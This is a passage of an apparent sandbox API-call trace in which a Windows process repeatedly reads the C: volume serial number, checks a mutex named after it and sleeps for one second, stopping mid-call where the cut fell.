[0240.978] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0240.979] GetProcessHeap () returned 0x550000 [0240.979] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0240.979] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0240.979] GetProcessHeap () returned 0x550000 [0240.979] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0240.979] GetProcessHeap () returned 0x550000 [0240.979] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0240.979] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0240.979] GetProcessHeap () returned 0x550000 [0240.979] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0240.979] GetProcessHeap () returned 0x550000 [0240.979] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0240.979] GetProcessHeap () returned 0x550000 [0240.979] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0240.979] GetProcessHeap () returned 0x550000 [0240.979] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0240.979] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b8 [0240.979] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0240.980] CloseHandle (hObject=0x1b8) returned 1 [0240.980] GetProcessHeap () returned 0x550000 [0240.980] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0240.980] GetProcessHeap () returned 0x550000 [0240.980] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0240.980] Sleep (dwMilliseconds=0x3e8) [0242.207] GetProcessHeap () returned 0x550000 [0242.207] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0242.208] GetProcessHeap () returned 0x550000 [0242.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0242.208] GetProcessHeap () returned 0x550000 [0242.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0242.208] GetProcessHeap () returned 0x550000 [0242.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0242.208] GetProcessHeap () returned 0x550000 [0242.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0242.208] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0242.208] GetProcessHeap () returned 0x550000 [0242.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0242.208] GetProcessHeap () returned 0x550000 [0242.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0242.208] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0242.208] GetProcessHeap () returned 0x550000 [0242.208] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0242.208] GetProcessHeap () returned 0x550000 [0242.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0242.208] GetProcessHeap () returned 0x550000 [0242.208] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0242.209] GetProcessHeap () returned 0x550000 [0242.209] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0242.209] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a8 [0242.209] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x102 [0242.209] CloseHandle (hObject=0x1a8) returned 1 [0242.209] GetProcessHeap () returned 0x550000 [0242.209] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0242.209] GetProcessHeap () returned 0x550000 [0242.209] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0242.209] Sleep (dwMilliseconds=0x3e8) [0243.534] GetProcessHeap () returned 0x550000 [0243.534] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0243.534] GetProcessHeap () returned 0x550000 [0243.534] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0243.534] GetProcessHeap () returned 0x550000 [0243.534] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0243.534] GetProcessHeap () returned 0x550000 [0243.534] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0243.534] GetProcessHeap () returned 0x550000 [0243.534] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0243.534] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0243.534] GetProcessHeap () returned 0x550000 [0243.534] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0243.534] GetProcessHeap () returned 0x550000 [0243.534] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0243.535] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0243.535] GetProcessHeap () returned 0x550000 [0243.535] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0243.535] GetProcessHeap () returned 0x550000 [0243.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0243.535] GetProcessHeap () returned 0x550000 [0243.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0243.535] GetProcessHeap () returned 0x550000 [0243.535] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0243.535] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c4 [0243.536] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0243.536] CloseHandle (hObject=0x1c4) returned 1 [0243.536] GetProcessHeap () returned 0x550000 [0243.536] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0243.536] GetProcessHeap () returned 0x550000 [0243.536] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0243.536] Sleep (dwMilliseconds=0x3e8) [0244.798] GetProcessHeap () returned 0x550000 [0244.798] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0244.798] GetProcessHeap () returned 0x550000 [0244.798] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0244.798] GetProcessHeap () returned 0x550000 [0244.798] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0244.798] GetProcessHeap () returned 0x550000 [0244.798] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0244.798] GetProcessHeap () returned 0x550000 [0244.798] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0244.798] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0244.798] GetProcessHeap () returned 0x550000 [0244.798] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0244.798] GetProcessHeap () returned 0x550000 [0244.798] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0244.798] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0244.799] GetProcessHeap () returned 0x550000 [0244.799] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0244.799] GetProcessHeap () returned 0x550000 [0244.799] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0244.799] GetProcessHeap () returned 0x550000 [0244.799] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0244.799] GetProcessHeap () returned 0x550000 [0244.799] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0244.799] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b8 [0244.799] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0244.799] CloseHandle (hObject=0x1b8) returned 1 [0244.799] GetProcessHeap () returned 0x550000 [0244.799] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0244.799] GetProcessHeap () returned 0x550000 [0244.799] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0244.799] Sleep (dwMilliseconds=0x3e8) [0245.804] GetProcessHeap () returned 0x550000 [0245.804] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0245.804] GetProcessHeap () returned 0x550000 [0245.804] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0245.804] GetProcessHeap () returned 0x550000 [0245.804] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0245.805] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0245.805] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0245.805] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x100 [0245.805] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0x0) returned 0x102 [0245.805] CloseHandle (hObject=0x100) returned 1 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0245.805] GetProcessHeap () returned 0x550000 [0245.805] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0245.805] Sleep (dwMilliseconds=0x3e8) [0246.818] GetProcessHeap () returned 0x550000 [0246.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0246.818] GetProcessHeap () returned 0x550000 [0246.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0246.818] GetProcessHeap () returned 0x550000 [0246.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0246.818] GetProcessHeap () returned 0x550000 [0246.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0246.818] GetProcessHeap () returned 0x550000 [0246.818] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0246.819] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0246.819] GetProcessHeap () returned 0x550000 [0246.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0246.819] GetProcessHeap () returned 0x550000 [0246.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0246.819] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0246.819] GetProcessHeap () returned 0x550000 [0246.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0246.819] GetProcessHeap () returned 0x550000 [0246.819] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0246.819] GetProcessHeap () returned 0x550000 [0246.819] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0246.819] GetProcessHeap () returned 0x550000 [0246.819] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0246.819] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x100 [0246.819] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0x0) returned 0x102 [0246.819] CloseHandle (hObject=0x100) returned 1 [0246.819] GetProcessHeap () returned 0x550000 [0246.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0246.819] GetProcessHeap () returned 0x550000 [0246.819] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0246.819] Sleep (dwMilliseconds=0x3e8) [0247.833] GetProcessHeap () returned 0x550000 [0247.833] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0247.833] GetProcessHeap () returned 0x550000 [0247.833] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0247.833] GetProcessHeap () returned 0x550000 [0247.833] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0247.833] GetProcessHeap () returned 0x550000 [0247.833] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0247.833] GetProcessHeap () returned 0x550000 [0247.833] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0247.833] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0247.833] GetProcessHeap () returned 0x550000 [0247.833] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0247.833] GetProcessHeap () returned 0x550000 [0247.833] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0247.833] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0247.834] GetProcessHeap () returned 0x550000 [0247.834] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0247.834] GetProcessHeap () returned 0x550000 [0247.834] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0247.834] GetProcessHeap () returned 0x550000 [0247.834] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0247.834] GetProcessHeap () returned 0x550000 [0247.834] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0247.834] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x17c [0247.834] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0247.834] CloseHandle (hObject=0x17c) returned 1 [0247.834] GetProcessHeap () returned 0x550000 [0247.834] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0247.834] GetProcessHeap () returned 0x550000 [0247.834] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0247.834] Sleep (dwMilliseconds=0x3e8) [0248.849] GetProcessHeap () returned 0x550000 [0248.849] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0248.849] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0248.849] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0248.849] GetProcessHeap () returned 0x550000 [0248.849] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0248.850] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b8 [0248.850] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0248.850] CloseHandle (hObject=0x1b8) returned 1 [0248.850] GetProcessHeap () returned 0x550000 [0248.850] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0248.850] GetProcessHeap () returned 0x550000 [0248.850] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0248.850] Sleep (dwMilliseconds=0x3e8) [0249.904] GetProcessHeap () returned 0x550000 [0249.904] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0249.904] GetProcessHeap () returned 0x550000 [0249.904] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a150 [0249.904] GetProcessHeap () returned 0x550000 [0249.904] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0249.904] GetProcessHeap () returned 0x550000 [0249.904] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0249.904] GetProcessHeap () returned 0x550000 [0249.904] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0249.904] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a150, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0249.904] GetProcessHeap () returned 0x550000 [0249.904] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0249.904] GetProcessHeap () returned 0x550000 [0249.905] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0249.905] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0249.905] GetProcessHeap () returned 0x550000 [0249.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0249.906] GetProcessHeap () returned 0x550000 [0249.906] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0249.906] GetProcessHeap () returned 0x550000 [0249.906] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0249.906] GetProcessHeap () returned 0x550000 [0249.906] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb90 [0249.906] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b8 [0249.906] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0249.906] CloseHandle (hObject=0x1b8) returned 1 [0249.906] GetProcessHeap () returned 0x550000 [0249.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5643a0 | out: hHeap=0x550000) returned 1 [0249.906] GetProcessHeap () returned 0x550000 [0249.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0249.906] Sleep (dwMilliseconds=0x3e8) [0251.534] GetProcessHeap () returned 0x550000 [0251.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a150 [0251.535] GetProcessHeap () returned 0x550000 [0251.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0251.535] GetProcessHeap () returned 0x550000 [0251.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a290 [0251.535] GetProcessHeap () returned 0x550000 [0251.535] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c660 [0251.535] GetProcessHeap () returned 0x550000 [0251.535] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c660 | out: hHeap=0x550000) returned 1 [0251.535] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0251.535] GetProcessHeap () returned 0x550000 [0251.535] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0251.535] GetProcessHeap () returned 0x550000 [0251.535] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a150 | out: hHeap=0x550000) returned 1 [0251.535] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0251.536] GetProcessHeap () returned 0x550000 [0251.536] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0251.536] GetProcessHeap () returned 0x550000 [0251.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5643a0 [0251.536] GetProcessHeap () returned 0x550000 [0251.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0251.536] GetProcessHeap () returned 0x550000 [0251.536] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, 